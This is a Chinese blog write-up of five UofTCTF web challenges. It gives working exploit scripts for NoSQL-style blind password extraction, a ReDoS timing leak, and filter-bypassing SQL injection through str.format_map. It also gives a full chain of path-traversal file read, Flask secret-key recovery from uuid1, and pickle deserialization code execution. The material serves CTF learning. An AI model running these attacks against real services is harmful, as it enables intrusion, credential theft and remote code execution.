UofTCTF

UofTCTF web方向复现

多伦多大学的校赛,话说我第二场就做国际赛的题真的对吗

1.Scavenger Hunt

应该是签到题,在各种地方找flag残躯。 1 2 3 4 5 6

这个通过路由名称可以看出来需要伪造管理员cookie

7

2.Prismatic Blogs

一开始的页面/后可以自由输入并回显,我猜测这里可以进行一些注入。

观察给出的源码可以发现有posts和login两个路由
隐藏路由

通过给出的源码可以看出我们需要拿到作者的密码,然后到login中得到该作者发布的文章,flag就存在于这个文章中。

随便输点什么发现只回显了最基本的东西,于是尝试盲注。

import requests

users = ["White", "Bob", "Tommy", "Sam"]
up = {}
dict = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"
passwd = ""
for user in users:
    for i in range(32):
        for j in range(len(dict)):
            res = requests.get(
                f"http://192.168.1.108:3000/api/posts?author[name]={user}&author[password][lte]={passwd+dict[j]}"
            ).json()
            if len(res["posts"]) > 0:
                passwd += dict[j - 1]
                print(passwd)
                break

    up[user] = passwd[:-1] + dict[dict.index(passwd[-1]) + 1]
    passwd = ""

print(up)

从某个老登那里薅过来的脚本

最后把账号密码一个个试,得到flag。 flag

3.code-DB

某人看了solve跟我说是sql注入,于是我注了半小时注不进去。。无奈看wp才知道是ReDos。于是一边看wp一边学一边做。

ReDos的核心在于正则表达式的 回溯机制。当正则表达式中包含重复匹配符(如+,?,星号等)并与复杂的嵌套模式结合时,正则引擎会尝试所有可能的匹配路径,导致指数级的计算复杂度。

计算量的增大会使用时增长,因此可以使用类似时间盲注的方式来查找flag。

import time
import requests
import re
import random
import string
def escape_regex(s):
    return re.sub(r'([.*+?^${}()|[\]\\])', r'\\\1', s)

def measure_time(guess):
    URL = "http://192.168.1.108:3000/search"
    json = {"query":"/^(?=).*.*.*.*.*.*.*.*.*.*.*.*.*!!!!!!!!!!!!$/".replace("", escape_regex(guess)), "language":"All"}
    start = time.time()
    requests.post(URL, json=json)
    end = time.time()
    return end - start

def calculate_threshold(alphabet):
    random_inputs = random.sample(alphabet, 3)
    times = [measure_time(char) for char in random_inputs]
    return sum(times) / len(times)

def main():
    alphabet = string.printable
    flag = "uoftctf{"
    threshold = calculate_threshold(alphabet) + 0.4 # can adjust this for remote

    while True:
        for char in alphabet:
            current_time = measure_time(flag + char)
            if current_time > threshold:
                # try again to see if it was a fluke
                current_time = measure_time(flag + char)
                if current_time > threshold:
                    flag += char
                    print(flag)
                    if char == "}":
                        print(flag)
                        return
                else:
                    continue
                

if __name__ == "__main__":
    main()

因为看了wp,这里给出的也是官方的脚本。

以下是对核心代码的解释。

def measure_time(guess):
    URL = "http://192.168.1.108:3000/search"
    json = {"query":"/^(?=).*.*.*.*.*.*.*.*.*.*.*.*.*!!!!!!!!!!!!$/".replace("", escape_regex(guess)), "language":"All"}
    start = time.time()
    requests.post(URL, json=json)
    end = time.time()
    return end - start

当 guess 是Flag的正确前缀时先行断言成功。
引擎继续尝试匹配后面的星号。
由于真实Flag的结尾不是 !!!!!!!!!!!!,最终的 $ 匹配会失败。
为了满足匹配,引擎会回溯各种组合,陷入计算陷阱,导致响应时间非常长。
当 guess 不是Flag的正确前缀时先行断言立即失败。
整个正则表达式匹配过程直接终止。
服务器几乎不花时间,响应非常快

运行拿到flag。

4.Prepared: Flag 1

题目中给了QueryBuilder,查了一下发现是一种用于构建数据库查询的工具,允许开发者以编程方式生成 SQL 查询。

进入页面是一个登录,首先尝试爆破,没有效果。结合题目提示的sql数据库,进行sql注入。

看一下附件中的代码,这些字符被ban掉了。

MALICIOUS_CHARS = ['"', "'", "\\", "/", "*", "+" "%", "-", ";", "#", "(", ")", " ", ","]

这道题的点在str.format_map这个函数,str.format_map() 的核心作用是把字符串中的占位符 {key} 替换成 my_mapping[key] 的值。

所以这里可以想到做法是通过某种方式使特定的值传入,这些值经过解析后成为被过滤的字符。

脚本如下:

import requests
 
url='http://192.168.1.115:5000'
for i in range(1,50,20):
    username=f"admin' and updatexml(1,concat(0x7e,(select substr(flag,{i},20) from flags),0x7e),1) -- "
    password="test"
    replacements = {
        "'": "{password.__class__.__doc__[11]}",
        " ": "{password.__class__.__doc__[14]}",
        "-": "{password.__class__.__doc__[15]}",
        ",": "{password.__class__.__doc__[42]}",
        "(": "{password.__class__.__doc__[3]}",
        ")": "{password.__class__.__doc__[13]}"
    }
    for a,b in replacements.items():
        username=username.replace(a,b)
    payload={
        "username":username,
        "password":password
    }
    res=requests.post(url=url,data=payload)
    print(res.text)

参考

在找wp的时候还看到另一种盲注的解法,本质上是一样的,但是脚本没怎么懂。放在下面

import requests
import string


# URL = "https://prepared-1-ec0d3306c2ec8a0f.chal.uoftctf.org/"
URL = "http://localhost:5000/"

s = requests.session()
MALICIOUS_CHARS = ['"', "'", "\\", "/", "*", "+" "%", "-", ";", "#", "(", ")", " ", ","]

def check(s, _part):
    part = _part.replace("_", "\\_")
    inj = f"' UNION SELECT flag, flag, flag FROM flags WHERE flag LIKE BINARY '%{part}%'#"

    for i, c in enumerate(MALICIOUS_CHARS):
        inj = inj.replace(c, "{X.MALICIOUS_CHARS[%d]}" % i)
    data = {
        "username": "a",
        "password": inj
    }
    r = s.post(URL, data=data)
    return "UNDER" in r.text
        

chars = string.ascii_letters + string.digits + "_"
used = ""

for char in chars:
    if check(s, char):
        used += char
        print(f"{used=}")

known = next(c for c in used if c not in "uoftctf")

didchange = True
while didchange:
    didchange = False
    for char in used:
        if check(s, known + char):
            known += char
            didchange = True
            print(known)
        

didchange = True
while didchange:
    didchange = False
    for char in used:
        if check(s, char + known):
            known = char + known
            didchange = True
            print(known)

参考

5.timeless

题目是一个上传博客的页面,经过最开始的尝试,头像的文件上传被waf了,(其实是我菜不会绕过,有没有人试一下这个方法),博客页面也没有办法使用xss。

在这里感谢一诺大佬给我演示了一遍打这道题的全流程,以下是我自己重新做一遍的流程。

@app.route('/status', methods=['GET'])
def status():
    current_time = datetime.now()
    uptime = current_time - app.config['START_TIME']
    return jsonify({"status": "ok", "server_time": str(current_time), "uptime": str(uptime)})

在源码中可以看到有一个提供时间的路径,这个之后会用到。

在头像上传的地方有这样一段函数:

@app.route('/profile_picture', methods=['GET'])
def profile_picture():
    username = request.args.get('username')
    user = User.query.filter_by(username=username).first()
    if user is None:
        return "User not found", 404
    if user.profile_photo is None:
        return send_file(os.path.join(app.static_folder, 'default.png'))
    file_path = os.path.join(app.config['UPLOAD_FOLDER'], user.username + user.profile_photo)
    if not os.path.exists(file_path):
        return send_file(os.path.join(app.static_folder, 'default.png'))
    return send_file(file_path)

当os.path.join函数的第二个参数是确定的路径时将会覆盖第一个参数,所以可以根据这个方法,将用户名设置为一个路径,头像的最终路径就是那个路径,从而造成任意文件读取。

@app.route('/post/<uuid>', methods=['GET'])
def view_post(uuid):
    post = BlogPost.query.filter_by(uuid=uuid).first_or_404()
    if post.user_id != session.get('user_id') and not post.visibility:
        abort(404)
    author = User.query.get(post.user_id)
    return render_template('view_post.html', post=post, author=author)

服务器使用 FileSystem 模式下的 flask-session 处理用户会话。会话的 SECRET_KEY 是使用 datetime.now() 和 uuid.uuid1 创建的。这里有一个uuid的验证,所以我们需要去查看uuid1是如何计算的。

def uuid1(node=None, clock_seq=None):
    """Generate a UUID from a host ID, sequence number, and the current time.
    If 'node' is not given, getnode() is used to obtain the hardware
    address.  If 'clock_seq' is given, it is used as the sequence number;
    otherwise a random 14-bit sequence number is chosen."""

    """ snap """

    global _last_timestamp
    import time
    nanoseconds = time.time_ns()
    # 0x01b21dd213814000 is the number of 100-ns intervals between the
    # UUID epoch 1582-10-15 00:00:00 and the Unix epoch 1970-01-01 00:00:00.
    timestamp = nanoseconds // 100 + 0x01b21dd213814000
    if _last_timestamp is not None and timestamp <= _last_timestamp:
        timestamp = _last_timestamp + 1
    _last_timestamp = timestamp
    if clock_seq is None:
        import random
        clock_seq = random.getrandbits(14) # instead of stable storage
    time_low = timestamp & 0xffffffff
    time_mid = (timestamp >> 32) & 0xffff
    time_hi_version = (timestamp >> 48) & 0x0fff
    clock_seq_low = clock_seq & 0xff
    clock_seq_hi_variant = (clock_seq >> 8) & 0x3f
    if node is None:
        node = getnode()
    return UUID(fields=(time_low, time_mid, time_hi_version,
                        clock_seq_hi_variant, clock_seq_low, node), version=1)

getnode 函数用于获取服务器的 MAC 地址。由于 clock_seq 是通过 random.getrandbits(14) 提供的,而 random.seed 使用的是 START_TIME = date.now(),时间就是我们之前找到的/status中可以找到。

对于mac地址,请看这篇博客

服务器的 MAC 地址写入了 /sys/class/net/eth0/address 中。由于某些原因, Content-Length 头部信息与实际内容长度不匹配,导致 requests.get 抛出错误。这个问题可以通过使用 stream=True 选项来解决。

partial_content = b""
try:
    r = s.get(URL + "profile_picture", params={
        "username": "/sys/class/net/eth0/address"
    },stream=True)
    for chunk in r.iter_content(chunk_size=1):
        if chunk:
            partial_content += chunk
except:
    pass

计算出 SECRET_KEY 后,我们可以为会话 ID 分配任意值。

会话值使用 flask-session 存储在文件系统中。会话文件由 4 个字节的无符号整数组成,表示生成的时间,后面跟着 pickle 字节,如果程序允许反序列化任何 pickle 字节,那么你就可以执行任何代码。

会话文件保存在 /app/flask_session/ 中,其中哈希值为

hashlib.md5(("session:" + session_id).encode('utf-8')).hexdigest()

如果用户名以 / 开头,则文件存储在 /[.] 中。如果文件名不包含任何扩展名,则省略

这意味着如果用户名是 /app/flask_session 且文件名是 session: 则哈希值将匹配。

hashlib.md5(f"session:_/app/flask_session_{int(datetime.now().timestamp())}").hexdigest()

这将匹配会话 ID f”/app/flask_session{int(datetime.now().timestamp())}” 的文件。通过为该会话 ID 生成验证码并通过 cookie 发送,我们使 flask-session 能够读取会话文件并执行代码。
最终代码如下:

import os
import pickle
import struct
import requests
from itsdangerous import Signer
from datetime import datetime, timedelta, timezone
import random
import uuid

# URL = "https://timeless-280e8f94de4a3a53.chal.uoftctf.org/"
URL = "http://localhost:5000/"
EVIL = "https://xxx.ngrok.app/"

s = requests.session()
user = {
    "username": "/sys/class/net/eth0/address",
    "password": "foobar"
}
r = s.post(URL + "register", data=user)
r = s.post(URL + "login", data=user)
token = s.cookies['session']
r = s.post(URL + "profile", files={
    "about_me": "aaa",
    "profile_photo": ("v.jpeg", "xxx")
})

partial_content = b""
try:
    r = s.get(URL + "profile_picture", params={
        "username": "/sys/class/net/eth0/address"
    },stream=True)
    for chunk in r.iter_content(chunk_size=1):
        if chunk:
            partial_content += chunk
except:
    pass

mac = partial_content.decode().strip()

r = s.get(URL + "status")
print(r.text)
server_time = datetime.strptime(r.json()['server_time'], "%Y-%m-%d %H:%M:%S.%f").replace(tzinfo=timezone.utc)
uptime = datetime.strptime(r.json()['uptime'], "%H:%M:%S.%f").replace(tzinfo=timezone.utc)
uptime = timedelta(hours=uptime.hour, minutes=uptime.minute, seconds=uptime.second, microseconds=uptime.microsecond)

random.seed(int((server_time - uptime).timestamp()))
clock_seq = random.getrandbits(14)
clock_seq_low = clock_seq & 0xff
clock_seq_hi_variant = (clock_seq >> 8) & 0x3f

SECRET_KEY = None
value = token.split('.')[0]
sig = token.split('.')[1]

for ns_diff in range(10_000_000):
    timestamp = int((server_time - uptime).timestamp() * 10_000_000) + 0x01b21dd213814000 + ns_diff
    time_low = timestamp & 0xffffffff
    time_mid = (timestamp >> 32) & 0xffff
    time_hi_version = (timestamp >> 48) & 0x0fff
    node = int(mac.replace(":",""),16)
    SECRET_KEY = str(uuid.UUID(fields=(time_low, time_mid, time_hi_version, clock_seq_hi_variant, clock_seq_low, node), version=1))

    signer = Signer(SECRET_KEY, 'flask-session',key_derivation="hmac")
    if signer.verify_signature(value, sig):
        print(SECRET_KEY)
        break

user = {
    "username": "/app/flask_session",
    "password": "foobar"
}
r = s.post(URL + "register", data=user)
r = s.post(URL + "login", data=user)

class RCE:
    def __reduce__(self):
        cmd = ('/readflag > /app/app/static/flag.txt')
        return os.system, (cmd,)
pickle_time = struct.pack("I", 0000)
pickled_payload = pickle_time + pickle.dumps(RCE())

r = s.post(URL + "profile", files={
    "about_me": "aaa",
    "profile_photo": ("session:/.png", pickled_payload)
})

s = requests.session()
signer = Signer(SECRET_KEY, 'flask-session',key_derivation="hmac")

s.cookies['session'] = signer.sign(f"/.png_/app/flask_session_{int(datetime.now().timestamp())}").decode()

r = s.get(URL)
r = requests.get(URL + "static/flag.txt")
print(r.text)

参考

ps:实际用这个脚本操作下来会报404,我和Enoch没明白出错原因。但是根据我看的wp猜测是脚本时间不够精确,实际上应该对status中的时间进行小范围的爆破才能拿到正确的session。